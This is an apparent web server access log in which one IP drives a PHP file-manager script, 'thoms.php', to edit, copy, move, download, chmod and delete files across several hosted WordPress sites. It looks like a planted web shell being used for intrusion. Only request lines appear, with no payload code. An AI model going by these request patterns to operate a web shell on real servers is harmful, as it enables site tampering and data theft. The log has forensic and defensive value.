45.135.193.11 - - [11/Sep/2026:23:08:10 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-content&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-content&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:10 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-content&p=bodbooks.com.tw HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-content&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:10 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18643 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-content&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:10 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-content&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11484 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-content&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:11 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-content&p=beauty-dental.com.tw HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-content&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:11 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-content&p=bestzyx.com.tw HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-content&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:11 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-content&p=bfl.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-content&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:11 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-content&p=cgi-bin HTTP/1.1" 200 11315 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-content&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:11 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-content&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11404 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-content&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:11 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-content&p=bioway88.com.tw HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-content&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:12 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-content&p=broadweb.com.tw HTTP/1.1" 200 11487 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-content&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:12 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-content&p=biotaiwan.com.tw HTTP/1.1" 200 11485 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-content&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:12 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-content&p=booking-wise2.com.tw HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-content&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:12 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-content&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-content&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:13 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18641 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-content&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:13 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-content&p=ba-guo.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-content&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:13 -0400] "GET /thoms.php?p= HTTP/1.1" 200 18641 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-content&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:13 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-content&p=bft.com.tw HTTP/1.1" 200 11457 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-content&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:13 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-content&p=wp-content HTTP/1.1" 200 11376 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-content&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:13 -0400] "GET /thoms.php?edit=index.php&p=bft.com.tw HTTP/1.1" 200 11813 "http://163.245.207.76:443/thoms.php?edit=index.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:13 -0400] "GET /thoms.php?edit=index.php&env=ace&p=bft.com.tw HTTP/1.1" 200 15433 "http://163.245.207.76:443/thoms.php?edit=index.php&env=ace&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:13 -0400] "GET /thoms.php?edit=mah.php&p=bft.com.tw HTTP/1.1" 200 24352 "http://163.245.207.76:443/thoms.php?edit=mah.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:14 -0400] "GET /thoms.php?edit=mah.php&env=ace&p=bft.com.tw HTTP/1.1" 200 28076 "http://163.245.207.76:443/thoms.php?edit=mah.php&env=ace&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:14 -0400] "GET /thoms.php?p=bft.com.tw%2F.tmb&upload= HTTP/1.1" 200 12176 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2F.tmb&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:14 -0400] "GET /thoms.php?p=bft.com.tw%2F.tmb&settings=1 HTTP/1.1" 200 11908 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2F.tmb&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:14 -0400] "GET /bft.com.tw/.tmb HTTP/1.1" 301 795 "http://163.245.207.76:443/bft.com.tw/.tmb" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:14 -0400] "GET /thoms.php?copy=bft.com.tw%2Findex.php&p=bft.com.tw%2F.well-known HTTP/1.1" 200 11385 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Findex.php&p=bft.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:14 -0400] "GET /bft.com.tw/.tmb/ HTTP/1.1" 200 686 "https://163.245.207.76:443/bft.com.tw/.tmb" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:14 -0400] "GET /thoms.php?copy=bft.com.tw%2Findex.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11448 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Findex.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:14 -0400] "GET /thoms.php?copy=bft.com.tw%2Findex.php&p=bft.com.tw%2Fwp-content HTTP/1.1" 200 11404 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Findex.php&p=bft.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:14 -0400] "GET /thoms.php?copy=bft.com.tw%2Findex.php&finish=1&p=bft.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Findex.php&finish=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:14 -0400] "GET /thoms.php?copy=bft.com.tw%2Findex.php&p=bft.com.tw%2F.tmb HTTP/1.1" 200 11338 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Findex.php&p=bft.com.tw%2F.tmb" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:14 -0400] "GET /thoms.php?copy=bft.com.tw%2Findex.php&p=bft.com.tw%2Fclient-global HTTP/1.1" 200 11360 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Findex.php&p=bft.com.tw%2Fclient-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:14 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 17503 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Findex.php&finish=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:14 -0400] "GET /thoms.php?copy=bft.com.tw%2Findex.php&p=bft.com.tw%2Fsync-sample HTTP/1.1" 200 11312 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Findex.php&p=bft.com.tw%2Fsync-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:14 -0400] "GET /thoms.php?copy=bft.com.tw%2Findex.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11859 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Findex.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:15 -0400] "GET /thoms.php?copy=bft.com.tw%2Findex.php&finish=1&move=1&p=bft.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Findex.php&finish=1&move=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:15 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 17502 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Findex.php&finish=1&move=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:15 -0400] "GET /thoms.php?copy=bft.com.tw%2Findex.php&p=bft.com.tw%2Fupgrade HTTP/1.1" 200 11350 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Findex.php&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:15 -0400] "GET /thoms.php?copy=bft.com.tw%2Findex.php&p= HTTP/1.1" 200 11915 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Findex.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:15 -0400] "GET /thoms.php?edit=wp-blog-header.php&env=ace&p=bft.com.tw HTTP/1.1" 200 15411 "http://163.245.207.76:443/thoms.php?edit=wp-blog-header.php&env=ace&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:15 -0400] "GET /bft.com.tw/wp-trackback.php?step=0 HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:15 -0400] "GET /thoms.php?edit=wp-blog-header.php&p=bft.com.tw HTTP/1.1" 200 11782 "http://163.245.207.76:443/thoms.php?edit=wp-blog-header.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:15 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-trackback.php&finish=1&p=bft.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-trackback.php&finish=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:15 -0400] "GET /bft.com.tw/wp-admin/setup-config.php HTTP/1.1" 200 4554 "https://163.245.207.76/bft.com.tw/wp-trackback.php?step=0" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:15 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-trackback.php&p=bft.com.tw%2Fupgrade HTTP/1.1" 200 11357 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-trackback.php&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:15 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 17635 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-trackback.php&finish=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:15 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-trackback.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-trackback.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:15 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-trackback.php&finish=1&move=1&p=bft.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-trackback.php&finish=1&move=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:15 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-trackback.php&p=bft.com.tw%2F.well-known HTTP/1.1" 200 11405 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-trackback.php&p=bft.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:15 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 17636 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-trackback.php&finish=1&move=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:16 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-trackback.php&p= HTTP/1.1" 200 11932 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-trackback.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:16 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-trackback.php&p=bft.com.tw%2Fclient-global HTTP/1.1" 200 11353 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-trackback.php&p=bft.com.tw%2Fclient-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:16 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-trackback.php&p=bft.com.tw%2F.tmb HTTP/1.1" 200 11343 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-trackback.php&p=bft.com.tw%2F.tmb" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:16 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-trackback.php&p=bft.com.tw%2Fsync-sample HTTP/1.1" 200 11349 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-trackback.php&p=bft.com.tw%2Fsync-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:16 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-trackback.php&p=bft.com.tw%2Fwp-content HTTP/1.1" 200 11431 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-trackback.php&p=bft.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:16 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-trackback.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11855 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-trackback.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:16 -0400] "GET /thoms.php?p=bft.com.tw%2Fclient-global&view=admin.php HTTP/1.1" 200 19825 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fclient-global&view=admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:16 -0400] "GET /thoms.php?p=bft.com.tw%2Fclient-global&view=cjfuns.php HTTP/1.1" 200 16582 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fclient-global&view=cjfuns.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:16 -0400] "GET /thoms.php?dl=index.php&p=bft.com.tw%2Fclient-global HTTP/1.1" 200 13447 "http://163.245.207.76:443/thoms.php?dl=index.php&p=bft.com.tw%2Fclient-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:16 -0400] "GET /thoms.php?dl=cjfuns.php&p=bft.com.tw%2Fclient-global HTTP/1.1" 200 13445 "http://163.245.207.76:443/thoms.php?dl=cjfuns.php&p=bft.com.tw%2Fclient-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:16 -0400] "GET /thoms.php?del=license.txt&p=bft.com.tw%2Fclient-global HTTP/1.1" 200 13435 "http://163.245.207.76:443/thoms.php?del=license.txt&p=bft.com.tw%2Fclient-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:16 -0400] "GET /thoms.php?copy=bft.com.tw%2Fclient-global%2Flicense.txt&p=bft.com.tw%2Fclient-global HTTP/1.1" 200 11320 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fclient-global%2Flicense.txt&p=bft.com.tw%2Fclient-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:16 -0400] "GET /bft.com.tw/client-global/profile.php HTTP/1.1" 503 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:17 -0400] "GET /thoms.php?p=bft.com.tw%2Fclient-global&view=profile.php HTTP/1.1" 200 11835 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fclient-global&view=profile.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:17 -0400] "GET /thoms.php?p=bft.com.tw%2Fclient-global&settings=1 HTTP/1.1" 200 11915 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fclient-global&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:17 -0400] "GET /thoms.php?chmod=index.php&p=bft.com.tw%2Fclient-global HTTP/1.1" 200 11502 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=bft.com.tw%2Fclient-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:17 -0400] "GET /thoms.php?del=admin.php&p=bft.com.tw%2Fclient-global HTTP/1.1" 200 13770 "http://163.245.207.76:443/thoms.php?del=admin.php&p=bft.com.tw%2Fclient-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:17 -0400] "GET /thoms.php?copy=bft.com.tw%2Fclient-global%2Findex.php&p=bft.com.tw%2Fclient-global HTTP/1.1" 200 11351 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fclient-global%2Findex.php&p=bft.com.tw%2Fclient-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:17 -0400] "GET /bft.com.tw/client-global/index.php HTTP/1.1" 200 6607 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:17 -0400] "GET /bft.com.tw/client-global/license.txt HTTP/1.1" 200 69 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:17 -0400] "GET /thoms.php?dl=profile.php&p=bft.com.tw%2Fclient-global HTTP/1.1" 200 13774 "http://163.245.207.76:443/thoms.php?dl=profile.php&p=bft.com.tw%2Fclient-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:08:17 -0400] "GET /thoms.php?del=index.php&p=bft.com.tw%2Fclient-global HTTP/1.1" 200 13790 "http://163.245.207.76:443/thoms.php?del=index.php&p=bft.com.tw%2Fclient-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
